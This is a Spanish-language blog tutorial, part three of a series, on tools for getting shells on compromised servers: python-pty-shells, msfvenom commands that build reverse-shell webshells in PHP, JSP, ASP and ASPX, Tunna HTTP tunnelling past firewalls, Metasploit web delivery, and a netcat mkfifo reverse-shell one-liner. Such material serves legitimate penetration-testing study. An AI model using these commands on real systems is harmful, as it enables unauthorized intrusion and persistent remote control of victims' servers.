15 formas de generar una webshell – Parte 3

Continuando con este listado de webshells, mencionaremos otras alternativas que pueden resultar útiles/interesantes en entornos concretos. Como siempre depende del vector de ataque empleado y de las características concretas del objetivo, por ese motivo es recomendable conocer múltiples opciones como las que se han descrito en las 2 entradas anteriores que podéis ver aquí y aquí.

11. python-pty-shells. (https://github.com/infodox/python-pty-shells)

Se trata de un conjunto de scripts que permiten establecer backdoors en el sistema comprometido basados en Python. Hay que tener en cuenta que en la mayoría de distribuciones basadas en GNU/Linux (por no decir que en todas) nos vamos a encontrar un interprete de Python instalado por lo tanto éste tipo de herramientas pueden ser muy útiles a la hora de establecer sesiones persistentes contra el sistema comprometido que soportan todas las características de una terminal TTY, es decir, la posibilidad de ejecutar comandos interactivos sin perder la conexión, como sí que ocurre con algunas webshells. Hay que tener en cuenta que se trata de un proyecto un poco antiguo y que solamente soporta Python 2.7, por lo tanto si se quiere utilizar Python 3.x en el sistema objetivo sería necesario instalar y ejecutar una herramienta como “2to3” para convertir dichos scripts a una versión compatible con Python 3.x. Por otro lado hace falta tener instalada la librería “PySCTP” ya que las shells disponibles en éste repositorio soportan protocolo TCP, SCTP y UDP. Como se puede ver en la siguiente imagen, se puede abrir una “bind shell” en una terminal y en otra establecer la conexión.

El script sctp_pty_bind.py permite crear una bindshell en el sistema comprometido en el puerto 31337 (se puede cambiar editando la variable “lport”). Mientras que el script sctp_pty_shell_handler.py permite establecer una conexión contra dicha bindshell utilizando protocolo SCTP. Cabe mencionar que el script sctp_pty_shell_handler.py también permite la creación de una reverse shell.

En este caso se utiliza el script sctp_pty_shell_handler.py para abrir el puerto en la máquina del atacante y luego, en la máquina de la víctima se ejecuta el script sctp_pty_backconnect.py para de esta forma recibir la shell.
Como mencionaba anteriormente, hay shells en TCP y UDP, os recomiendo que les echéis un vistazo también.

12. Msfvenom.

Tampoco podía faltar en éste listado la posibilidad de generar diferentes tipos de webshells con Msfvenom. Como muchos de los lectores de este blog sabrán, se trata de una utilidad que se encuentra incluida en Metasploit Framework y se encarga de generar muestras de payloads en diferentes formatos. De esta forma es posible seleccionar un payload existente en el framework e indicarle a Msfvenom que lo inyecte en un fichero PHP, JSP, Python o incluso en binarios para plataformas Windows, Linux o APKs para Android. Algunas de las webshell que se pueden crear son las siguientes:

PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f raw -o shell.php

JAVA
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f raw -o shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war -o shell.war

ASP/ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f asp -o shell.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f aspx -o shell.aspx

13. Tunna. (https://github.com/SECFORCE/Tunna)

Otro proyecto que me resulta muy interesante. Más que una simple webshell se trata de un conjunto de herramientas que sirven para túneles HTTP entre una víctima y atacante aunque existan mecanismos de seguridad en medio, como por ejemplo un Firewall. Esta diseñado precisamente para evadir restricciones relacionadas con entornos en los que no es posible realizar conexiones de forma arbitraria contra cualquier puerto.
El funcionamiento de Tunna se resume en los siguientes pasos:
1. El atacante debe tener la posibilidad de subir una webshell de cualquiera de los tipos disponibles en Tunna, ASPX, JSP o PHP.
2. El atacante debe tener la posibilidad de subir una bindshell (generada con metasploit, por ejemplo) a la cual, evidentemente no será posible acceder directamente debido a restricciones de un firewall en el entorno de la víctima.
3. El atacante utiliza Tunna para conectarse a la webshell subida en el paso 1 y posteriormente, establece el puerto local en la máquina del atacante y el puerto de la bindshell. Tunna se encargará de crear un túnel HTTP entre ambos puertos, utilizando la webshell que se ha subido anteriormente como punto canal de transmisión.

Se verá ahora estos puntos en detalle:
1. Dependiendo de la plataforma, se debe subir la webshell adecuada. En el directorio “webshells” del proyecto se pueden ver 3 ficheros: conn.aspx, conn.jsp y conn.php. En este caso concreto, se subirá el fichero “conn.php” a un servidor web Apache con soporte para PHP.
2. A continuación, se va a crear una bindshell para Linux, la cual se moverá junto con el fichero “conn.php” al servidor comprometido.

msfvenom -p linux/x64/meterpreter/bind_tcp RHOST=192.168.1.60 LPORT=4443 -f elf -o bindshell

En éste caso, evidentemente la propiedad RHOST tiene el valor correspondiente a la IP del servidor comprometido.
3. Finalmente Se crea el túnel HTTP utilizando Tunna.

En este caso el túnel se abrirá en la máquina del atacante en el puerto “8990” y todas las peticiones entrantes por ese puerto van a ser enrutadas por Tunna utilizando el túnel HTTP, el cual permitirá establecer la conexión con la bindshell en la máquina comprometida, la cual estará en estado de escucha en el puerto “4443”.

14. WebDelivery de Metasploit.

Se trata de una alternativa que puede venir bien a la hora de generar una sesión contra la máquina comprometida cuando ya se ha detectado un punto de inyección valido (RCE, Command Injection, sesión RDP/SSH o File Upload). Una de las ventajas que tiene éste mecanismo de Metasploit es que no escribe nada en disco, con lo cual es muy probable que permita la evasión de mecanismos de seguridad en el sistema comprometido, además por defecto levanta un servidor web en local (máquina del atacante) para recibir la conexión.

El payload por defecto está basado en Python pero es bastante versatil y soporta otros tipos de payloads basados en PHP, ASP o en formatos binarios. En el momento en el que se ejecuta el comando “exploit” el modulo levanta el servidor en la IP y puerto especificados y a continuación enseña un comando que debe ejecutarse en la víctima. Evidentemente, una vez se ejecuta dicho comando en la máquina comprometida, se obtiene una sesión en la máquina del atacante.

15. netcat (otra vez) pero sin soporte a “-e”.

Volviendo a Netcat, tal como se ha comentado en la primera parte de ésta serie aunque la versión instalada en la máquina de la víctima no cuente con la opción “-e” aún es posible vincular una shell y crear conexiones del tipo “bind” o “reverse”. Para ello es necesario crear una pipe con “mkfifo” y a continuación vincularla con el puerto de netcat y una shell. Por ejemplo:

mkfifo /tmp/test_revshell; nc -vv 192.168.1.116 8889 0</tmp/test_revshell | /bin/bash > /tmp/test_revshell 2>&1
Ejecutando el comando anterior será suficiente para crear una reverse shell con netcat sin utilizar “-e”.

Esto mismo también es posible generarlo con “msfvenom” y el payload “cmd/unix/reverse_netcat”.
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.60 lport=8889 R

Creo que ha quedado un listado bastante completo pero si conoces alguna otra webshell interesante o curiosa, no dudes en compartirla escribiendo un comentario.

Un saludo y Happy Hack.
Adastra.